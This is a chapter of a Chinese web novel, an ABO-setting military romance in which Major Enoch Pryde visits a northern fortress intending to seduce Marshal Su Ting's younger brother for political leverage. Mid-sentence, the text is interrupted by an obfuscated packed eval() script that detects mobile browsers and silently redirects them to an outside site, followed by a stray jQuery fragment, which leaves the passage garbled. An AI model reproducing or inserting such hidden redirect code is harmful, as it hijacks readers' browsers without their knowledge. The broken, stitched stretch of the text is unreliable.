制服北区管辖军苏霆元帅,渗透并彻底掌控斯卡蒂防线。
默念着本次巡礼的真正目标,如今的大元帅代理——伊诺克·普莱德少校轻晃酒杯,胸有成竹道。
“直白地说,只要捕获那位可怜小少爷的心就能借此抓住苏霆的弱点,进一步收复领地,制服那群不够乖的刁民。是这样么?”
醇厚佳酿不止渗入体内,仿佛还浸透嗓音,激发出他声调中最具俘获力,也是最能刺激荷尔蒙释放的部分。
相貌继承了omega母亲的优点,红色长发是普莱德家族代代相传的特质,以他的脸庞做出任何表情,哪怕是最毁美感的惊恐也可称为人体艺术,足以载入史册。
按品种区分,他大概会被挂在风气开放,鼓吹肉|体之美胜过精神厚度的时代纪念墙上。
千万年来这面墙刷了又刷,层层嵌套,无数次地翻修,足以证明欲在人当中的根深蒂固。
幸好,他还没到被做成纪念品的时候。
也幸好,他与他面前的随从仍记得自己现在的使命。
“依鄙人去年探访的见闻来看,苏霆对他弟弟的重视程度之深,足以动摇他对全军的统领。”
同是面对大元帅之子,如今的默文上将姿态拘谨,俨然将自己摆在下属、心腹以及护卫三者合一的位置。
以防隔墙有耳,他故意隐去某些字眼汇报。
“可问题在于,我们不久前确认了消息,他们从独立区和暗环区的交界处请回来两个跳虫游民,其中就有半年前匹配上基因数据库的人。”
事实显而易见,这是一场荒唐的错换戏。
真正具备继承权的苏洛是在外流浪的小小跳虫,而非家里衣来伸手饭来张口的矜贵omega。
碍于斯卡蒂的落后闭塞,他们无法靠网域探查那边的民情和舆论,暂时无法判断出苏霆在这时接回亲生弟弟的用意。
如果是想让人认祖归宗,那为何迟迟不公开实情。
如果只是出于道义弥补,那怎么又把人带到险象环生的故乡,放在备受瞩目的‘原位’。
“别急嘛,默文阁下,瞧你这苦大仇深的样子,都把酒的香味赶跑了。这可是我特地从母亲的酒窖里借来的名酿。”
作为本次行动当之无愧的第一主角,伊诺克·普莱德毫不怯场,他重新为自己添满酒,又为默文没碰过的杯子象征性地加两滴。
窗外已出现白色颗粒,那既是霜雾又是雪片,细密地纷飞飘散,轻蹭着外舱的防风层。
今日天气难得一见的好,阳光使能见度大幅提升,让雪云的每个细微变化都能投下灵动的虚影,梦幻犹如妖精群舞。
这是地面或首都都看不到的奇象,纯粹的自然盛景。
匆匆扫一两眼,不感兴趣地伊诺克就转过脸问。
“我听说,原来那位小少爷对我颇有好感?”
他的提问其实相当刻意,毕竟在中高层当中,这不是什么秘密。
倒不如说,早已因为弗雷泽被退婚一事而人尽皆知了。
但默文仍旧详细描述起自己重复过数遍的内容。
描述某人对伊诺克·普莱德的痴迷,崇拜,飞蛾扑火式地疯狂爱恋。
待他讲到尾声,远景正好浮现了山脉轮廓,夸张的起伏如同濒死病患的心电图画,也像巨兽尸骸上的獠牙,绵延千里,高耸入云。
恰逢此时,飞艇上的侍者也推着餐车,送来丰富精致的早点。
这批随行人员一半是大元帅麾下分派来的,主要负责安防和指挥工作,另外那半自然是参照尊贵代表的喜好,精挑细选来的后勤。
细瞧侍者那无一丝赘肉的腰肢,纤细修长的脖颈,伊诺克递去空酒杯。
他指尖有意无意刮过对方手背,撑着脸盯着人,轻轻吐息道。
“原来如此,还真是一个可爱的小东西啊,所以稍微任性点也不会惹人厌呢。”
既是对默文的接话,又是对目光闪躲脸微红的侍者评价,他这种以大方包装的轻浮最是难缠也难解。
仿佛是名钓鱼行家,深谙诱与惑的比例把控,引得鱼儿自行咬钩。
吃到了诱饵,勾破了嘴,被拽离水面的鱼只会怪自己痴心妄想,过分贪图。
因为它怨不得,更恨不起岸上满载而归的收杆人。
只是摆餐的几分钟时间,默文便亲眼目睹少校如何掐着刚睡醒的滥情调子,三言两语把漂亮的侍者逗得脸红,被他摸到腰也无一丝抵触。
兴许只要再勾勾手指,多给一分暗示,深夜他的房门就会被粉面含春的年轻侍者敲开。
“请、请两位慢慢享用。您有什么需要、我,我们就在外面。”
放下最后点心,舌尖打结的青年连忙逃离,快速合上的门却遮不住他红得透粉的脖颈。
虽然目前独身,默文也懂得成年人之间那点事情,他松弛地往后靠,不禁揶揄道。
“请允许我向您致歉,伊诺克大人,您笼络人心的技巧我自叹弗如,相信再顽固的冰疙瘩也会被您说动的。”
当然,伊诺克·普莱德对现在的十个管辖区、两个特别独立区外加范围最大的暗环区之中最出名,同时也是唯一一个配称为冰疙瘩的苏霆毫无兴趣。
他的目标最开始就是‘苏洛’。
无论是哪个,也不管是一个还是两个,他都能够‘吃’下。
信心满满的少校切割鱼排,又为默文科普起整桌奢华餐食的来源。
从原产地培养到长途运输再到最后的加工环节,粗略算算成本,他们随便吃下的一口就相当于一个普通家庭整年的开销。
这仅是普莱德家衣食住行中最基础的一项,是里面最微不足道的一小点。
自幼过着人上人的生活,他从不刻意去记价格,有这种万事无需顾虑的挥霍作态,也不难怪会有大把人前仆后继地涌向他。
除去艳羡和理所当然,今天沾光的默文就只有一个想法。
看来只要一落地,伊诺克少校就能成功捕获苏洛了。
原本应该是这样的。
“万分抱歉,舍弟今日身体欠佳,不能够同来迎接,还请尊敬的大元帅代表人见谅,勿要怪罪。”
还是一年前的降落平台,还是那般冷冽的寒风,‘冰疙瘩’苏霆站在数十位面无表情的骨干跟前,用实际行动诠释着什么叫煞风景。
虽有片刻诧异,伊诺克仍反应快速。
他主动伸手,问候道。
“哪里的话,苏元帅您一家人都是忠诚刚正的英杰,这些我与父亲以及诸位将士都有目共睹,若真要因此惩戒,那我们才是罪人呢。”
“多谢您的理解。”
少校对元帅,手与手相握,随后礼节性地摇晃。
分明是如此简单又普通的一环,伊诺克却忽然僵住了笑,说不出话。
施加在他手上的力道,重得不可思议。
像拿高压板挤压,像用千斤轮碾扁,这苏霆似乎是奔着废掉他手的用意在使暗劲。
来不及在那张冷峻的脸上确认什么,对方又率先松开手,仿佛无事发生。
不谄笑客套打官腔,苏霆直接侧向升降机的入口,示意道。
“现下时间刚好,还请各位随我一同前往本营巡视,也好早些在那歇息,缓解旅途的疲劳。”
看这风风火火的架势,他是铁了心不想让他们见另一位隐藏的重要主角。
察觉此意,默文上将莫名有些急躁。
但见伊诺克只是活动着手腕微笑,他便也默不作声地跟随。
他们的护卫队共有两百二十五名精兵,应大元帅本人命令,必须分出一百人随行,最少也要半数守在伊诺克少校附近。
所以耗费半小时,整批人才抵达巨大要塞的中间层。
一路下来看着符合想象的沉闷景致,破旧设备,这群来自首都的中央兵无疑和到访两次的默文一样,心生轻慢,略感同情。
再往里走一段距离,他们更是诧异。
那些站岗巡逻的北区士兵,一个个散漫无度,毫无军纪可言。
或是靠墙打瞌睡,发觉有人走近了才敬礼,要么是三三两两聚在一块闲聊,枪械随意地放在旁边。
若不是他们还穿着那身军装,完全就是街边的市井小民,得过且过的度日。
不仅如此,他们的人数远不及去年,削减得不像话。
察觉寂静中蔓延的惊奇,那一双双眼睛里显化的鄙夷,苏霆头也不回地解释。
“最近快过节了,所以我和季参谋长商量,打算给大家临时放个小假。我们的人一年到头忙于训练和迎敌,还是比较辛苦的。”
当解释过于苍白,那就只能被旁人冠上狡辩的名头。
今天的默文不如上回那般忌惮苏霆,他加快步伐,专门来到男人侧后方开口。
“根据近期您上交的统计报告,这几个月北区的敌袭和紧急事故相比往年是大幅下降了,看来是您统领有方,由您镇压暴|民兵团,平定西边山区的好消息指日可待。”
真是好笑。
靠那不务正业的废柴兵,稀稀拉拉的破装备,等到猴年马月也说不清。
可像没听懂默文的明褒暗贬,苏霆淡淡一瞥,嘴角微勾道。
“由我指挥是不太可能了,不过,这里自有能胜任的人。”
话音刚落,他在收回视线的刹那顿住脚步,继而乱了呼吸。
“怎么会……”
通往训练场的安检口门前,站着两个突兀人影。
西奥多手捏帽子,远远地就向大部队鞠躬行礼,他右边挨着的谢云哲跟着欠身,双手拘谨地贴在两侧。
既然他们同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176282|150591||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时在场,只有‘两个人’的假象不攻自破。
果然,在他们站位的缝隙间,忽地探出一个脑袋。
快速地偷看又猛地收回,如同受惊的小动物不敢露面。
“噢?请问那边的是——”
伊诺克故作惊讶,转向身旁只感到一阵风迅猛掠过。
这下不止是他,连训练有素的士兵也不禁为擅自离开,无视大元帅代表的苏霆咋舌。
“你们怎么来了,现在来这做什么?”苏霆大步流星向前,质问声里明显夹杂着急促和不快。
若说西奥多是没长嘴的大犟种,那谢云哲就是选择性闭嘴的机灵鬼,他故意等苏霆走近才挪开小半步,让他身后,也是在场最合适的人发话。
轮椅上,今天郑重打扮的小少爷连忙扯住兄长衣角,把对方当作掩体拉向自己。
“嘘——小点声,是我让他们带我来的啦,大哥。”
虽然他在很努力地控制音量,可在这封闭空间内……
该怎么形容才好呢,这样的场景,这样的时刻,他心脏狂跳的鼓噪声都能被旁人轻易窃听,品味出他的紧张。
“你不是头疼不舒服吗,还出来吹风?”
苏霆俯身,像堵钢铁城墙把青年全部罩住,不给后方留下半点窥视缝隙。
如果距离再远点,他估计就要连人带轮椅扛上肩头,一个箭步跑开了。
“我、我没啊,你听错了,我只是说会晚点、嗯,我有点事情耽误了而已。”
大概光是知道心仪对象在场,因为亢奋而失眠一整夜的小少爷说话也不利索了,他更不知道该以哪种口吻实施往日的撒娇。
而作为被迫陪同熬夜,还要帮苏洛选一早上衣服的苦力,谢云哲已调转视线,悄悄打量起贵客——让小少爷茶饭不思的梦中情alpha。
那名在一众士兵蓄着长发,身穿黑款典礼军服的男子,一人营造出独特的存在感,笑得礼貌但不温和,是该出现在迷醉酒宴上的焦点人,而非穿梭刀光剑影的战士,稳重专情的伴侣。
察觉他的目光,这人还颇自信地朝他一笑,眼神三分赞赏三分挑逗还有四分硬凹出来的漫不经心。
谢云哲:“啧。”
差劲。
差到极点了。
超——级——差劲。
一夜未睡还连读四天的另类文学,暗自啧嘴的谢云哲表情未变,心里已经把‘赫赫有名’的伊诺克·普莱德踩到最低。
要是他是苏霆,那刚才他可不会停下来好生跟苏洛说话。
就应该直接连人带轮椅推出一串火花送出基地。
可惜,现在说什么都太迟了。
“那个,你们是要去参观吗,大哥。也带上我吧,我也好久没见大家了,怪想他们的。”
小少爷终于恢复状态,就是说话仍要躲在苏霆身影里,说几个字偷偷瞄几眼前方。
“唉……”
并非错觉或恶意揣测,当苏霆重重一叹,回身看来时,后方包括伊诺克在内的全体成员,统统都收到他警告意味浓重的瞪视。
狠狠瞪一圈完毕,他转而摸着苏洛脑袋,温声细语差别不要太明显。
“你来可以,但现在闲杂人等太多,公事中也有不方便的地方,我叫季宇飞接替我领路,你待会儿就跟我走后面。”
此话无异于宣判了死刑,让小少爷断掉接近唯一目标的念想。
然而还没等到他作天作地撒泼,一位说客就先不请自来。
“苏元帅,想必这三位就是您的家眷和亲信吧。真是来得早不如来得巧,其实我们今天也只是走个过场,就当一起放松散心,何必在意那些死规矩?”
少校走近得突然,起先正纠缠苏霆的青年躲无可躲。
于是他慌乱地左看右看,一扭头就扎进兄长怀里,学起了鸵鸟埋脸。
这下伊诺克哭笑不得。
另外,他更加确信自己能得手。
来前他其实还有些怀疑,因为他听说去年弗雷泽那个贱种来时就被苏洛成天粘着不放,两人一副很亲近的模样。
娇生惯养的小少爷更是在敌袭中舍身相护,救了贱种一命。
如今他亲自来一趟,疑虑烟消云散。
在他看来,‘爱’的具象物即是‘火’。
这抹情感越是强烈就愈发炽热,稍一靠近寄托的对象就会因为烫到表皮,仓促不堪地缩回手。
明知不堪还要执着地靠近。
明知危险却必须借此生存。
或许,这就是人类逃不了的‘火种’诅咒。
眼下隔着苏霆这堵人墙,伊诺克·普莱德有意眨眼加深笑容,向那悄悄露出一只眼窥探自己的人摆摆手。
他心想。
这场捕获,这场较量,长久与火共舞,能够肆意把玩的他赢定了。